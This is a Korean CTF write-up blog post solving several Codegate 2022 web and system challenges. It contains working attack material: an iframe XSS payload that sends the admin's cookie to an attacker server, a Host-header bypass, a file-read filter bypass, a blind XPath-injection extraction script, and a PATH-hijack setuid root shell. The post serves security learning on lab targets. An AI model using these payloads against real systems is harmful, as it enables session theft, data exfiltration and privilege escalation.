CAFE
XSS 문제다. 하지만
bot 코드에 지워지지 않은 admin의 패스워드로 인해 로그인하고 나면 손쉽게 플래그를 획득할 수 있다. 인텐 풀이는 다음과 같다.
function filterHtml($content) {
$result = '';
$html = new simple_html_dom();
$html->load($content);
$allowTag = ['a', 'img', 'p', 'span', 'br', 'hr', 'b', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'strong', 'em', 'code', 'iframe'];
foreach($allowTag as $tag){
foreach($html->find($tag) as $element) {
switch ($tag) {
case 'a':
$result .= '<a href="' . str_replace('"', '', $element->href) . '">' . htmlspecialchars($element->innertext) . '</a>';
break;
case 'img':
$result .= '<img src="' . str_replace('"', '', $element->src) . '">' . '</img>';
break;
case 'p':
case 'span':
case 'b':
case 'h1':
case 'h2':
case 'h3':
case 'h4':
case 'h5':
case 'h6':
case 'strong':
case 'em':
case 'code':
$result .= '<' . $tag . '>' . htmlspecialchars($element->innertext) . '</' . $tag . '>';
break;
case 'iframe':
$src = $element->src;
$host = parse_url($src)['host'];
if (strpos($host, 'youtube.com') !== false){
$result .= '<iframe src="'. str_replace('"', '', $src) .'"></iframe>';
}
break;
}
}
}
return $result;
}
/libs/utils.php
의 filterHtml 코드를 보면 사용가능한 태그들이 한정되어있다. a tag, img 태그 등 여러 태그가 사용 가능한데 double quote를 지우기 때문에 임의의 attribute를 탈출하는 것은 힘들다. 그럼 이제 사용가능한 것은 iframe인데 iframe의 src 속성에 들어가는 url은 php의 parse_url함수를 이용하여 host부분만 검사하는 것을 알 수 있다. scheme 쪽은 검사하지 않기 때문에 javascript scheme을 사용하는 것이 가능한데 이때 간단한 트릭을 사용하면 임의의 함수를 실행하는 것이 가능하다.
보면 절대 실행이 안될 것 같은 페이로드 임에도 script가 정상적으로 실행이 된다.
javascript: scheme뒤에 오는 //
는 한 줄 주석이기 때문에 뒤에 오는 aaaa.com#
까지를 주석처리하고 그 뒤의 개행으로 인해 console.log(1)은 주석처리가 되지 않아서 정상적으로 실행이 된 것을 볼 수 있다. 이를 이용하면 iframe src에 우리가 원하는 url을 넣고 script를 실행하여 admin의 세션을 탈취하는 것이 가능하다.
Payload : <iframe src="javascript://youtube.com#%0anavigator.sendBeacon('myserver',document.cookie)"></iframe>
FLAG : codegate2022{4074a143396395e7196bbfd60da0d3a7739139b66543871611c4d5eb397884a9}
Superbee
이것도 언인텐으로 인해 풀이수가 굉장히 많다.
admin의 패스워드가 password라서 로그인하면 그냥 플래그를 얻을 수 있다.
인텐 풀이는 아래와 같다.
func (this *BaseController) Prepare() {
controllerName, _ := this.GetControllerAndAction()
session := this.Ctx.GetCookie(Md5("sess"))
if controllerName == "MainController" {
if session == "" || session != Md5(admin_id + auth_key) {
this.Redirect("/login/login", 403)
return
}
} else if controllerName == "LoginController" {
if session != "" {
this.Ctx.SetCookie(Md5("sess"), "")
}
} else if controllerName == "AdminController" {
domain := this.Ctx.Input.Domain()
if domain != "localhost" {
this.Abort("Not Local")
return
}
}
}
main.go를 보면 각 controller로 routing해주기 전에 여러 체크 로직이 존재하는 것을 알 수 있다.
func (this *MainController) Index() {
this.TplName = "index.html"
this.Data["app_name"] = app_name
this.Data["flag"] = flag
this.Render()
}
flag를 얻으려면 MainController에 접근해야하는데 admin의 password를 모르고 있는 상황이기 때문에 접근이 불가능하다.
func (this *LoginController) Auth() {
id := this.GetString("id")
password := this.GetString("password")
if id == admin_id && password == admin_pw {
this.Ctx.SetCookie(Md5("sess"), Md5(admin_id + auth_key), 300)
this.Ctx.WriteString("<script>alert('Login Success');location.href='/main/index';</script>")
return
}
this.Ctx.WriteString("<script>alert('Login Fail');location.href='/login/login';</script>")
}
Auth 쪽을 보면 로그인이 성공했을 때 세션 값을 adminid + auth_key를 md5한 값으로 설정하는 것을 알 수 있다.
admin의 id는 admin이기 때문에 auth_key만 구하면 되는데
func (this *AdminController) AuthKey() {
encrypted_auth_key, _ := AesEncrypt([]byte(auth_key), []byte(auth_crypt_key))
this.Ctx.WriteString(hex.EncodeToString(encrypted_auth_key))
}
AuthKey함수에서 auth_key를 aes로 암호화한 값을 리턴해주는 것을 알 수 있다.
그런데 잘 보면 auth_crypt_key 값은 app.conf에 설정이 안되있기 때문에 null이라는 것을 알 수 있다.
그럼 만약 해시를 구한다면 간단하게 decrypt할 수 있다.
} else if controllerName == "AdminController" {
domain := this.Ctx.Input.Domain()
if domain != "localhost" {
this.Abort("Not Local")
return
}
}
그럼 이제 해당 부분에 접근하려면 위의 조건 문을 통과해야하는데 이는 간단하게 Host 부분을 localhost로 수정해서 리퀘스트를 보내는 것으로 해결할 수 있다. 그럼 이제 encrypt된 hash를 얻을 수 있고 decrypt하여 auth_key를 구한 다음 session을 만들어서 MainController에 접근하면 플래그를 얻을 수 있다.
FLAG : codegate2022{d9adbe86f4ecc93944e77183e1dc6342}
babyFirst
jsp로 만들어진 문제다.
취약점은 아래의 코드에서 발생한다.
private static String lookupImg(String memo) {
Pattern pattern = Pattern.compile("(\\[[^\\]]+\\])");
Matcher matcher = pattern.matcher(memo);
String img = "";
if (matcher.find()) {
img = matcher.group();
} else {
return "";
}
String tmp = img.substring(1, img.length() - 1);
tmp = tmp.trim().toLowerCase();
pattern = Pattern.compile("^[a-z]+:");
matcher = pattern.matcher(tmp);
if (!matcher.find() || matcher.group().startsWith("file"))
return "";
String urlContent = "";
try {
URL url = new URL(tmp);
BufferedReader in = new BufferedReader(new InputStreamReader(url.openStream()));
String inputLine = "";
while ((inputLine = in.readLine()) != null)
urlContent = urlContent + inputLine + "\n";
in.close();
} catch (Exception e) {
return "";
}
Base64.Encoder encoder = Base64.getEncoder();
try {
String encodedString = new String(encoder.encode(urlContent.getBytes("utf-8")));
memo = memo.replace(img, "<img src='data:image/jpeg;charset=utf-8;base64," + encodedString + "'><br/>");
return memo;
} catch (Exception e) {
return "";
}
}
lookupImg함수에서 임의의 url로 요청을 보낼 수 있는데 해당 부분을 이용하면 내부 파일에 접근하여 flag를 읽어올 수 있다.
일단 URL함수에서 사용 가능한 protocol에는 아래의 것이 있다.
http
htts
ftp
file
jar
일단 file scheme이 사용가능한데 if (!matcher.find() || matcher.group().startsWith("file"))
와 같이 file scheme으로 시작하는 경우 lookup을 안한다. 일단 file scheme을 사용하는 것은 맞는 것 같아서 이를 중점으로 java의 url.openstream코드를 살펴보았다.
그리고 재미있는 부분을 찾을 수 있었다.
https://github.com/frohoff/jdk8u-jdk/blob/master/src/share/classes/java/net/URL.java#L533
url:
로 시작하면 시작 글자를 4글자 뒤로 옮긴다. 그럼 위의 필터를 우회해서 플래그를 읽을 수 있을 것이다.
Payload : [url:file:///flag]
FLAG : codegate2022{8953bf834fdde34ae51937975c78a895863de1e1}
myblog
이 문제도 jsp로 만들어졌다.
취약점은 doReadArticle에서 터진다.
private String[] doReadArticle(HttpServletRequest req) {
String id = (String)req.getSession().getAttribute("id");
String idx = req.getParameter("idx");
if ("null".equals(id) || idx == null)
return null;
File userArticle = new File(this.tmpDir + "/article/", id + ".xml");
try {
InputSource is = new InputSource(new FileInputStream(userArticle));
Document document = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(is);
XPath xpath = XPathFactory.newInstance().newXPath();
String title = (String)xpath.evaluate("//article[@idx='" + idx + "']/title/text()", document, XPathConstants.STRING);
String content = (String)xpath.evaluate("//article[@idx='" + idx + "']/content/text()", document, XPathConstants.STRING);
title = decBase64(title.trim());
content = decBase64(content.trim());
return new String[] { title, content };
} catch (Exception e) {
System.out.println(e.getMessage());
return null;
}
}
대놓고 xpath injection이 터진다. 근데 플래그는 전혀 다른 곳에 있다.
FROM ubuntu:20.04
RUN apt-get -y update && apt-get -y install software-properties-common
RUN apt-get install -y openjdk-11-jdk
RUN apt-get -y install wget
RUN mkdir /usr/local/tomcat
RUN wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.75/bin/apache-tomcat-8.5.75.tar.gz -O /tmp/tomcat.tar.gz
RUN cd /tmp && tar xvfz tomcat.tar.gz
RUN cp -Rv /tmp/apache-tomcat-8.5.75/* /usr/local/tomcat/
RUN rm -rf /tmp/* && rm -rf /usr/local/tomcat/webapps/
COPY src/ROOT/ /usr/local/tomcat/webapps/ROOT/
COPY start.sh /start.sh
RUN chmod +x /start.sh
RUN echo 'flag=codegate2022{md5(flag)}' >> /usr/local/tomcat/conf/catalina.properties
CMD ["/start.sh"]
flag는 catalina.properties에 들어가있다. 코드에는 flag 내용을 글로 작성해준다거나 그러한 것이 없기 때문에 뭔가 트릭이 필요했고 jdk의 소스코드를 읽어보았다.
https://github.com/JetBrains/jdk8u_jaxp/tree/master/src/com/sun/org/apache/xpath/internal
Function을 위주로 확인해보았는데 https://github.com/JetBrains/jdk8u_jaxp/blob/master/src/com/sun/org/apache/xpath/internal/functions/FuncSystemProperty.java
FuncSystemProperty라는 흥미로운 파일을 찾을 수 있었다.
그리고 이름에서 알 수 있듯이 https://runebook.dev/ko/docs/xslt_xpath/xpath/functions/system-property
역시나 system 속성을 리턴해주는 함수였다.
그럼 이제 xpath injection을 할 때 system property를 불러오는 것이 가능하기 때문에 sql injection 하듯이 페이로드 짜서 플래그 뽑아주면 된다.
import requests
import string
pw=""
a=string.printable
a=a[:-38] + "{}"
url = "http://3.39.79.180/blog/read?idx="
cookies = {'JSESSIONID':'0736D763FF412E3286ED4ACB78613F95'}
for i in range(1,60):
url = "http://3.39.79.180/blog/read?idx="
for j in a:
print(pw + j)
url="http://3.39.79.180/blog/read?idx=' or substring(system-property('flag'),"+str(i)+',1)="'+str(j)+'" or \''
res=requests.get(url,cookies=cookies)
res = res.text
if "asdf" in res:
pw+=j
break
else: pass
print(pw)
FLAG : codegate2022{bcbbc8d6c8f7ea1924ee108f38cc000f}
vimt
vim을 직접 구현한 것 같은 프로그램을 주는데 키보드를 누를 때마다 이상한 문자들이 적힌다. 코드를 분석해보면 compile명령을 이용하여 우리가 작성한 파일을 gcc로 컴파일 할 수 있는데 아마도 우리가 원하는 대로 글자를 쓰도록 프로그래밍해야하는 것 같았다. 근데 그러기엔 분석이 너무 복잡해서 다른 방법을 이용하였다.
간단하다. 쉘을 실행하는 코드가 담긴 파일을 컴파일 한 뒤 env에 PATH를 조작하여 문제 파일에서 compile 명령을 실행했을 때 우리가 컴파일한 파일이 실행되도록 하는 것이다.
#include <unistd.h>
int main()
{
setuid(0);
execl("/bin/bash", "bash", (char *)NULL);
return 0;
}
이 코드를 /tmp 폴더에 생성하고 gcc로 컴파일 한 다음에 env의 PATH를 /tmp로 설정해주면 될 것이다. 근데 이후에 문제가 한차례 수정되면서 /tmp폴더에 권한이 빠졌다. 그래도 /var/tmp에는 여전히 권한이 남아있기 때문에 /var/tmp에서 해주면 된다.
)
시나리오 대로 쉘을 획득하였고 플래그를 읽을 수 있었다.
Payload :
ctf@52bad4c6c59c:~$ echo "#include <unistd.h>" > /var/tmp/a.c
ctf@52bad4c6c59c:~$ echo 'int main() { setuid(0); execl("/bin/bash", "bash", (char *)NULL); return 0; }' >> /var/tmp/a.c
ctf@52bad4c6c59c:~$ gcc /var/tmp/a.c -o /var/tmp/gcc
ctf@52bad4c6c59c:~$ export PATH=/var/tmp
ctf@52bad4c6c59c:~$ ./app
- >
ESC + compile + enter
- >
/bin/cat flag
FLAG : codegate2022{e63d0f9d86ddabe726db226be96548890e0d9408376a3e43011e1a12e1315168111e5535733c1155ec5b4e78b711aeef44621c8e}
'ctf writeup' 카테고리의 다른 글
2022 Fall GoN Open Qual CTF writeup (2) | 2022.09.01 |
---|---|
LINE CTF 2022 web writeup (0) | 2022.03.27 |
Real World CTF 4th - web writeup (0) | 2022.01.30 |
m0leconCTF 2021 final web writeup (0) | 2021.12.04 |
HK CERT CTF 2021 writeup - WEB (0) | 2021.11.14 |